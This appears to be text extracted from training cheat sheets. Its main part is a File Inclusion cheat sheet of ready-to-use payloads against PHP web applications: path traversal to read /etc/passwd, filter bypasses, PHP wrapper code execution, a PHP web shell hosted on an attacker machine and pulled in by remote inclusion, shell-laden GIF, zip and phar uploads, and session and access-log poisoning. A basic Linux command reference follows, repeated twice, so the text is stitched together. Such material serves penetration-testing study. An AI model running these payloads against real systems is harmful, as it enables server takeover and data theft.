



FILE INCLUSION

CHEAT SHEET

Local File Inclusion

Basic LFI

Basic LFI:

```
/index.php?language=/etc/passwd
```

LFI with path traversal:

```
/index.php?language=../../../../etc/passwd
```

LFI with name prefix:

```
/index.php?language=/.../.../etc/passwd
```

LFI with approved path:

```
/index.php?language=./languages/.../.../.../  
etc/passwd
```

LFI Bypasses

Bypass basic path traversal filter:

```
/index.php?language=....//....//....//....//  
etc/passwd
```



FILE INCLUSION

CHEAT SHEET

Bypass filters with URL encoding:

```
/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2f%65%74%63%2f%70%61%73%73%77%64
```

Bypass appended extension with path truncation (obsolete):

```
/index.php?language=non_existing_directory/.  
./././etc/passwd/././.[./ REPEATED ~2048  
times]
```

Bypass appended extension with null byte (obsolete):

```
/index.php?language=../../../../etc/passwd%00
```

Read PHP with base64 filter:

```
/index.php?language=php://filter/read=convert  
.base64-encode/resource=config
```

Remote Code Execution

PHP Wrappers

RCE with data wrapper:

```
/index.php?language=data://text/plain;base64  
.PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BC  
g%3D%3D&cmd=id
```



FILE INCLUSION

CHEAT SHEET

RCE with input wrapper:

```
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id"
```

RCE with expect wrapper:

```
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"
```

RFI

Host web shell:

```
echo '<?php system($_GET["cmd"]); ?>' > shell.php && python3 -m http.server <LISTENING_PORT>
```

Include remote PHP web shell:

```
/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id
```

LFI + Upload

Create malicious image:

```
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
```



FILE INCLUSION

CHEAT SHEET

RCE with malicious uploaded image:

```
/index.php?language= ./profile_images/shell.gif&cmd=id
```

Create malicious zip archive 'as jpg':

```
echo '<?php system($_GET["cmd"]); ?>' >  
shell.php && zip shell.jpg shell.php
```

RCE with malicious uploaded zip:

```
/index.php?language=zip://shell.zip%23shell.php&cmd=id
```

Create malicious phar 'as jpg':

```
php --define phar.readonly=0 shell.php && mv  
shell.phar shell.jpg
```

RCE with malicious uploaded phar:

```
/index.php?language=phar:///profile_images/shell.jpg%2Fshell.txt&cmd=id
```

Log Poisoning

Read PHP session parameters:

```
/index.php?language=/var/lib/php/session/se  
ss_nhhv8i0o6ua4g88bkdl9u1fdsd
```



FILE INCLUSION

CHEAT SHEET

Poison PHP session with web shell:

```
/index.php?language=%3C%3Fphp%20system%28%24  
_GET%5B%22cmd%22%5D%29%3B%3F%3E
```

RCE through poisoned PHP session:

```
/index.php?language=/var/lib/php/session/se  
ss_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id
```

Poison server log:

```
curl -s "http://<SERVER_IP>:<PORT>/index.  
php" -A '<?php system($_GET["cmd"]); ?>'
```

RCE through poisoned PHP session:

```
/index.php?language=/var/log/apache2/access.  
log&cmd=id
```

Misc

Fuzz page parameters:

```
ffuf -w /opt/useful/SecLists/Discovery/  
Web-Content/burp-parameter-names.txt:FUZZ -u  
'http://<SERVER_IP>:<PORT>/index.php?FUZZ=va  
lue' -fs 2287
```



FILE INCLUSION

CHEAT SHEET

Fuzz LFI payloads:

```
ffuf -w /opt/useful/SecLists/Fuzzing/LFI/  
LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:  
<PORT>/index.php?language=FUZZ' -fs 2287
```

Fuzz webroot path:

```
ffuf -w /opt/useful/SecLists/Discovery/  
Web-Content/default-web-root-directory-linux  
.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/  
index.php?language=../../../../FUZZ/index.ph  
p' -fs 2287
```

Fuzz server configurations:

```
ffuf -w ./LFI-WordList-Linux:FUZZ -u  
'http://<SERVER_IP>:<PORT>/index.php?languag  
e=../../../../FUZZ' -fs 2287
```

LFI Wordlists

LFI-Jhaddix.txt

Webroot path wordlist for Linux

Webroot path wordlist for Windows

Server configurations wordlist for Linux

Server configurations wordlist for Windows

FILE
INCLUSIONCHEAT
SHEET

Misc

PHP

`include()/include_once()`

Read Content [Yes] - Execute [Yes] - Remote URL [Yes]

`require()/require_once()`

Read Content [Yes] - Execute [Yes] - Remote URL [No]

`file_get_contents()`

Read Content [Yes] - Execute [No] - Remote URL [Yes]

`fopen()/file()`

Read Content [Yes] - Execute [No] - Remote URL [No]

NodeJS

`fs.readFile()`

Read Content [Yes] - Execute [No] - Remote URL [No]

`fs.sendFile()`

Read Content [Yes] - Execute [No] - Remote URL [No]



FILE INCLUSION

CHEAT SHEET

`res.render()`

Read Content [Yes] - Execute [Yes] - Remote URL [No]

Java

`include`

Read Content [Yes] - Execute [No] - Remote URL [No]

`import`

Read Content [Yes] - Execute [Yes] - Remote URL [Yes]

.NET

`@Html.Partial()`

Read Content [Yes] - Execute [No] - Remote URL [No]

`@Html.RemotePartial()`

Read Content [Yes] - Execute [No] - Remote URL [Yes]

`Response.WriteFile()`

Read Content [Yes] - Execute [No] - Remote URL [No]

`include`

Read Content [Yes] - Execute [Yes] - Remote URL [Yes]



LINUX FUNDAMENTALS

CHEAT SHEET

Opens man pages for the specified tool: `man <tool>`

Prints the help page of the tool: `<tool> -h`

Searches through man pages' descriptions for instances of a given keyword: `apropos <keyword>`

Concatenate and print files: `cat`

Displays current username: `whoami`

Returns users identity: `id`

Sets or prints the name of the current host system
`hostname`

Prints operating system name: `uname`

Returns working directory name: `pwd`

The ifconfig utility is used to assign or view an address to a network interface and/or configure network interface parameters: `ifconfig`



LINUX FUNDAMENTALS

CHEAT SHEET

Ip is a utility to show or manipulate routing, network devices, interfaces, and tunnels: `ip`

Shows network status: `netstat`

Another utility to investigate sockets: `ss`

Shows process status: `ps`

Displays who is logged in: `who`

Prints environment or sets and executes a command:
`env`

Lists block devices: `lsblk`

Lists USB devices: `lsusb`

Lists opened files: `lsof`

Lists PCI devices: `lspci`

Execute command as a different user:
`sudo`

The su utility requests appropriate user credentials via PAM and switches to that user ID (the default user is the superuser). A shell is then executed: `su`

LINUX
FUNDAMENTALSCHEAT
SHEET

Creates a new user or update default new user information:

`useradd`

Deletes a user account and related files: `userdel`

Modifies a user account: `usermod`

Adds a group to the system: `addgroup`

Removes a group from the system: `delgroup`

Changes user password: `passwd`

Install, remove and configure Debian-based packages: `dpkg`

High-level package management command-line utility: `apt`

Alternative to apt: `aptitude`

Install, remove and configure snap packages: `snap`

Standard package manager for Ruby: `gem`

Standard package manager for Python: `pip`

Revision control system command-line utility: `git`

Command-line based service and systemd control manager:
`systemctl`

LINUX
FUNDAMENTALSCHEAT
SHEET

Prints a snapshot of the current processes: `ps`

Query the systemd journal: `journalctl`

Sends a signal to a process.: `kill`

Puts a process into background: `bg`

Lists all processes that are running in the background: `jobs`

Puts a process into the foreground: `fg`

Command-line utility to transfer data from or to a server:
`curl`

An alternative to curl that downloads files from FTP or HTTP(s) server: `wget`

Starts a Python3 web server on TCP port 8000:
`python3 -m http.server`

Lists directory contents: `ls`

Changes the directory: `cd`

Clears the terminal: `clear`

Creates an empty file: `touch`



LINUX FUNDAMENTALS

CHEAT SHEET

Creates a directory: `mkdir`

Lists the contents of a directory recursively: `tree`

Move or rename files or directories: `mv`

Copy files or directories: `cp`

Terminal based text editor: `nano`

Returns the path to a file or link: `which`

Searches for files in a directory hierarchy: `find`

Updates the locale database for existing contents on the system: `updatedb`

Uses the locale database to find contents on the system: `locate`

Pager that is used to read STDOUT or files: `more`

An alternative to more with more features: `less`



LINUX FUNDAMENTALS

CHEAT SHEET

Prints the first ten lines of STDOUT or a file: `head`

Prints the last ten lines of STDOUT or a file: `tail`

Sorts the contents of STDOUT or a file: `sort`

Searches for specific results that contain given patterns: `grep`

Removes sections from each line of files: `cut`

Replaces certain characters: `tr`

Command-line based utility that formats its input into multiple columns: `column`

Pattern scanning and processing language: `awk`

A stream editor for filtering and transforming text: `sed`

Prints newline, word, and byte counts for a given input: `wc`

Changes permission of a file or directory: `chmod`

Changes the owner and group of a file or directory: `chown`



LINUX FUNDAMENTALS

CHEAT SHEET

Opens man pages for the specified tool: `man <tool>`

Prints the help page of the tool: `<tool> -h`

Searches through man pages' descriptions for instances of a given keyword: `apropos <keyword>`

Concatenate and print files: `cat`

Displays current username: `whoami`

Returns users identity: `id`

Sets or prints the name of the current host system
`hostname`

Prints operating system name: `uname`

Returns working directory name: `pwd`

The ifconfig utility is used to assign or view an address to a network interface and/or configure network interface parameters: `ifconfig`



LINUX FUNDAMENTALS

CHEAT SHEET

Ip is a utility to show or manipulate routing, network devices, interfaces, and tunnels: `ip`

Shows network status: `netstat`

Another utility to investigate sockets: `ss`

Shows process status: `ps`

Displays who is logged in: `who`

Prints environment or sets and executes a command:
`env`

Lists block devices: `lsblk`

Lists USB devices: `lsusb`

Lists opened files: `lsof`

Lists PCI devices: `lspci`

Execute command as a different user:
`sudo`

The su utility requests appropriate user credentials via PAM and switches to that user ID (the default user is the superuser). A shell is then executed: `su`

LINUX
FUNDAMENTALSCHEAT
SHEET

Creates a new user or update default new user information:

`useradd`

Deletes a user account and related files: `userdel`

Modifies a user account: `usermod`

Adds a group to the system: `addgroup`

Removes a group from the system: `delgroup`

Changes user password: `passwd`

Install, remove and configure Debian-based packages: `dpkg`

High-level package management command-line utility: `apt`

Alternative to apt: `aptitude`

Install, remove and configure snap packages: `snap`

Standard package manager for Ruby: `gem`

Standard package manager for Python: `pip`

Revision control system command-line utility: `git`

Command-line based service and systemd control manager:
`systemctl`

LINUX
FUNDAMENTALSCHEAT
SHEET

Prints a snapshot of the current processes: `ps`

Query the systemd journal: `journalctl`

Sends a signal to a process.: `kill`

Puts a process into background: `bg`

Lists all processes that are running in the background: `jobs`

Puts a process into the foreground: `fg`

Command-line utility to transfer data from or to a server:
`curl`

An alternative to curl that downloads files from FTP or HTTP(s) server: `wget`

Starts a Python3 web server on TCP port 8000:
`python3 -m http.server`

Lists directory contents: `ls`

Changes the directory: `cd`

Clears the terminal: `clear`

Creates an empty file: `touch`



LINUX FUNDAMENTALS

CHEAT SHEET

Creates a directory: `mkdir`

Lists the contents of a directory recursively: `tree`

Move or rename files or directories: `mv`

Copy files or directories: `cp`

Terminal based text editor: `nano`

Returns the path to a file or link: `which`

Searches for files in a directory hierarchy: `find`

Updates the locale database for existing contents on the system: `updatedb`

Uses the locale database to find contents on the system: `locate`

Pager that is used to read STDOUT or files: `more`

An alternative to more with more features: `less`



LINUX FUNDAMENTALS

CHEAT SHEET

Prints the first ten lines of STDOUT or a file: `head`

Prints the last ten lines of STDOUT or a file: `tail`

Sorts the contents of STDOUT or a file: `sort`

Searches for specific results that contain given patterns: `grep`

Removes sections from each line of files: `cut`

Replaces certain characters: `tr`

Command-line based utility that formats its input into multiple columns: `column`

Pattern scanning and processing language: `awk`

A stream editor for filtering and transforming text: `sed`

Prints newline, word, and byte counts for a given input: `wc`

Changes permission of a file or directory: `chmod`

Changes the owner and group of a file or directory: `chown`